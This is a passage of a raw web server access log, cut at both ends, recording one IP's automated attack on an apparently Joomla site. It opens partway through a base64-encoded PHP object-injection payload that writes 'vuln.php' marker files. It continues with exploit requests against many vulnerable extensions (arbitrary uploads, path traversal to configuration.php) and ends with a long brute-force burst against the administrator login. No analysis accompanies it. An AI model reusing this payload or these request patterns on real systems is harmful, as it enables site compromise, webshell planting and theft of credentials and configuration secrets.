Fd4dUxuQm9jQ0lnT3dva2RHVjRkRElnUFNBa2N6c0tKRzl3Wlc0eUlEMGdabTl3Wlc0b0pHTm9aV05yTWl3Z0ozY25LVHNLWm5keWFYUmxLQ1J2Y0dWdU1pd2dKSFJsZUhReUtUc0tabU5zYjNObEtDUnZjR1Z1TWlrN0NtbG1LR1pwYkdWZlpYaHBjM1J6S0NSamFHVmpheklwS1hzS0lDQWdJR1ZqYUc4Z0pHTm9aV05yTWk0aVBDOWljajRpT3dwOVpXeHpaU0FLSUNCbFkyaHZJQ0p1YjNRZ1pYaHBkSE15SWpzS1pXTm9ieUFpWkc5dVpUSWdMbHh1SUNJZ093b0tKR05vWldOck16MGtYMU5GVWxaRlVsc25SRTlEVlUxRlRsUmZVazlQVkNkZElDNGdJaTkyZFd4dUxtaDBiU0lnT3dva2RHVjRkRE1nUFNBblZuVnNiaUVoSUhCaGRHTm9JR2wwSUU1dmR5RW5Pd29rYjNBelBXWnZjR1Z1S0NSamFHVmphek1zSUNkM0p5azdDbVozY21sMFpTZ2tiM0F6TENSMFpYaDBNeWs3Q21aamJHOXpaU2drYjNBektUc0tDZ29rWTJobFkyczJQU1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDJsdFlXZGxjeTkyZFd4dUxtaDBiU0lnT3dva2RHVjRkRFlnUFNBblZuVnNiaUVoSUhCaGRHTm9JR2wwSUU1dmR5RW5Pd29rYjNBMlBXWnZjR1Z1S0NSamFHVmphellzSUNkM0p5azdDbVozY21sMFpTZ2tiM0EyTENSMFpYaDBOaWs3Q21aamJHOXpaU2drYjNBMktUc0tRSFZ1YkdsdWF5aGZYMFpKVEVWZlh5azdDajgrJykpOwpmY2xvc2UoJGZwMik7Cg=='));JFactory::getConfig();exit\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\xfd\xfd\xfd" 102.43.5.250 - - [19/Apr/2026:21:34:48 +0700] "GET /images/vuln2.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:34:48 +0700] "GET /tmp/vuln2.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:34:49 +0700] "GET /images/vuln.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:34:49 +0700] "GET /tmp/vuln.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:34:50 +0700] "GET /index.php/component/users HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:34:50 +0700] "GET /index.php/component/users HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:34:51 +0700] "POST /index.php/component/users HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:34:51 +0700] "POST /configuration.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:34:52 +0700] "GET /index.php/component/users/?view=login HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:34:52 +0700] "POST /index.php?option=com_jdownloads&Itemid=0&view=upload HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:34:53 +0700] "GET /components/com_foxcontact/foxcontact.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:34:54 +0700] "POST /index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&qqfile=/../../../vuln.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:34:54 +0700] "GET /components/com_b2jcontact/vuln.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:34:55 +0700] "POST /administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php?name=vuln.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:34:55 +0700] "GET /administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/vuln.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:34:56 +0700] "POST /components/com_oziogallery/imagin/scripts_ralcr/filesystem/writeToFile.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:34:56 +0700] "GET /tmp/up.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:34:58 +0700] "POST /administrator/components/com_redmystic/chart/ofc-library/ofc_upload_image.php?name=vuln.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:34:58 +0700] "GET /administrator/components/com_redmystic/chart/tmp-upload-images/vuln.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:34:59 +0700] "POST /administrator/components/com_simplephotogallery/lib/uploadFile.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:00 +0700] "GET /tmp/vuln.php.xxxjpg HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:01 +0700] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:02 +0700] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:02 +0700] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:03 +0700] "GET /index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder= HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Windows NT 6.1; rv:36.0) Gecko/20100101 Firefox/36.0" 102.43.5.250 - - [19/Apr/2026:21:35:03 +0700] "POST /index.php?option=com_myblog&task=ajaxupload HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:04 +0700] "GET /images/pwn.gif HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:04 +0700] "POST /index.php?option=com_adsmanager&task=upload&tmpl=component HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:05 +0700] "GET /administrator/components/com_alberghi/upload.alberghi.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:05 +0700] "GET /index.php?option=com_cckjseblod&task=download&file=configuration.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:06 +0700] "GET /administrator/components/com_extplorer/uploadhandler.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:06 +0700] "POST /index.php?option=com_fabrik&c=import&view=import&filetype=csv&table= HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:07 +0700] "GET /media/vuln.txt HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:07 +0700] "GET /components/com_facileforms/libraries/jquery/uploadify.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:08 +0700] "GET /components/com_hdflvplayer/hdflvplayer/download.php?f=../../../configuration.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:08 +0700] "GET /components/com_jbcatalog/libraries/jsupload/server/php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:09 +0700] "GET /index.php?option=com_joomanager&controller=details&task=download&path=configuration.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:09 +0700] "GET /index.php?option=com_macgallery&view=download&albumid=../../configuration.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:10 +0700] "GET /administrator/components/com_rokdownloads/assets/uploadhandler.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:10 +0700] "GET /plugins/content/s5_media_player/helper.php?fileurl=Li4vLi4vLi4vY29uZmlndXJhdGlvbi5waHA= HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:11 +0700] "GET /components/com_sexycontactform/fileupload/ HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:11 +0700] "GET /fckeditor/editor/filemanager/connectors/php/upload.php?Type=Media HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:12 +0700] "GET /vendor/phpunit/phpunit/build.xml HTTP/1.1" 200 108714 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50" 102.43.5.250 - - [19/Apr/2026:21:35:13 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:13 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:13 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:14 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:14 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:14 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:14 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:14 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:14 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:14 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:14 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:14 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:14 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:14 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:14 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:14 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:14 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:14 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:14 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:14 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:14 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:14 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:14 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:15 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:15 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:15 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:15 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:15 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:15 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:15 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:15 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:15 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:15 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:15 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:15 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:15 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:15 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:15 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:15 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:15 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:15 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:15 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:15 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:16 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:16 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:16 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:16 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:16 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:16 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:16 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:16 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:16 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:16 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:16 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:16 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:16 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:16 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:16 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:16 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:16 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:16 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:16 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:16 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:17 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:17 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:17 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:17 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:17 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:17 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:17 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:17 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:17 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:17 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:17 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:17 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux 